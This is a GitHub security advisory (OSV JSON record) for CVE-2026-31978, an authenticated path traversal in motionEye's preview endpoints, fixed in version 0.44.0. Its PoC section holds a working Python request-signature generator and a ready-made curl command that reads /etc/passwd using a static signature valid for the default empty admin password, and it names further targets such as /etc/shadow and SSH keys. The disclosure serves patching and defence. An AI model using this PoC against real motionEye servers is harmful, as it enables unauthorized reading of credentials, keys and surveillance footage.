CVE-2026-31978: Motioneye Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g9fx-5r4h-pcw3",
  "modified" : "2026-06-22T17:10:38Z",
  "published" : "2026-06-22T17:10:38Z",
  "aliases" : [ "CVE-2026-31978" ],
  "summary" : "motionEye has an Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint",
  "details" : "### Summary\n\nmotionEye v0.43.1 (latest stable) is vulnerable to path traversal in the picture and movie API endpoints, like `/picture/{id}/preview/{filename}`. Neither the API handlers, nor the `mediafiles.py` functions like `get_media_preview()` check for `..` sequences in the filename parameter, except `get_media_content()` which does. This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user.\n\n### Details\n\nThe `get_media_content()` function properly validates the path:\n\n```python\n# mediafiles.py ~line 506 — SAFE\ndef get_media_content(camera_config, path, media_type):\n    target_dir = camera_config['target_dir']\n    full_path = os.path.join(target_dir, path)\n\n    if '..' in path:        # <-- PATH TRAVERSAL CHECK PRESENT\n        return None\n    ...\n```\n\nBut `get_media_preview()` does NOT:\n\n```python\n# mediafiles.py ~line 910 — VULNERABLE\ndef get_media_preview(camera_config, path, media_type, ...):\n    target_dir = camera_config['target_dir']\n    full_path = os.path.join(target_dir, path)\n    # <-- NO '..' CHECK\n    ...\n```\n\nSimilarly, `del_media_content()` at line ~865 is also missing the check. This is a classic inconsistent fix pattern.\n\nThe exploit requires `%2F`-encoded slashes (`..%2F..%2F`) which Tornado's URL router does NOT normalize — it passes the raw `../` through to `os.path.join()`.\n\n### PoC\n\n**Step 1:** Authenticate as any user (normal or admin).\n\n**Step 2:** Compute the request signature. motionEye uses HMAC-style signatures for API authentication. The signature is `SHA1(\"GET:<path>?_username=<user>::<password>\")`. With the default empty admin password:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Signature generator for motionEye path traversal PoC\"\"\"\nimport hashlib, re, urllib.parse\n\n_SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\\[\\]\\\":, -]', re.DOTALL)\n\ndef compute_signature(method, path, key=''):\n    parts = list(urllib.parse.urlsplit(path))\n    query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature']\n    query.sort(key=lambda q: q[0])\n    query = [(n, urllib.parse.quote(v, safe=\"!'()*~\")) for (n, v) in query]\n    query = '&'.join([(q[0] + '=' + q[1]) for q in query])\n    parts[0] = parts[1] = ''\n    parts[3] = query\n    path = urllib.parse.urlunsplit(parts)\n    path = _SIGNATURE_REGEX.sub('-', path)\n    key = _SIGNATURE_REGEX.sub('-', key)\n    return hashlib.sha1(('{}:{}:{}:{}'.format(method, path, '', key)).encode('utf-8')).hexdigest().lower()\n\npath = '/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin'\nsig = compute_signature('GET', path)\nprint(f'Signature: {sig}')\nprint(f'curl --path-as-is -s \"http://TARGET:8765/{path}&_signature={sig}\"')\n```\n\n**Step 3:** Send the request using `curl --path-as-is` (the `--path-as-is` flag is **required** — without it, curl normalizes `..%2F` and collapses the traversal before sending):\n\n```bash\n# With default empty admin password, the signature is static:\ncurl --path-as-is -s \"http://localhost:8766/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin&_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c\"\n```\n\n**Step 4:** The server returns the contents of `/etc/passwd`.\n\n**Verified output:**\n\n<img width=\"1743\" height=\"410\" alt=\"etc_passwd\" src=\"https://github.com/user-attachments/assets/30ec85f7-4fe7-4d3b-ae23-1d02c3ecad64\" />\n\n> **Note on the signature value:** The signature `8b387100a519c617bdd66fe629d14b05e09c6e0c` is valid for the default empty admin password. If the admin password has been changed, regenerate the signature using the Python script above with the correct password passed as the `key` parameter.\n\n### Impact\n\nAn authenticated user (normal or admin) can read arbitrary files from the server, including:\n\n- `/etc/passwd` — user enumeration\n- `/etc/motioneye/motion.conf` — admin password hash, surveillance password in plaintext\n- `/etc/shadow` — password hashes (if running as root, which is default in Docker)\n- SSH keys, environment variables, and other sensitive configuration files\n- Surveillance footage from other cameras",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "motioneye"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.44.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g9fx-5r4h-pcw3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/motioneye-project/motioneye"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-284" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-22T17:10:38Z",
    "nvd_published_at" : null
  }
}